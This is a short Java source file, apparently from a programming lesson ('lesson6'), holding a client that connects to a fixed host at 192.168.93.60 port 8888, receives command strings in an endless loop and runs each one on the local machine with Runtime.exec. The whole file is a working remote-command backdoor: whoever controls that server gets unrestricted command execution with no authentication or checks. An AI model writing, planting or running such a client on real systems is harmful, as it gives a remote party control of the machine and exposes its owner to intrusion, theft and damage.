package xkp.lesson6;

import java.io.DataInputStream;
import java.io.IOException;
import java.net.Socket;

public class Client {
    public static void main(String[] args) throws IOException {
        Socket socket = new Socket("192.168.93.60",8888);
        //客户端等待服务器命令
        DataInputStream dataInputStream = new DataInputStream(socket.getInputStream());
        while(true){
            String cmd = dataInputStream.readUTF();
            System.out.println("接收到命令:"+cmd);
            new Thread(){
                @Override
                public void run() {
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            }.start();
        }
    }
}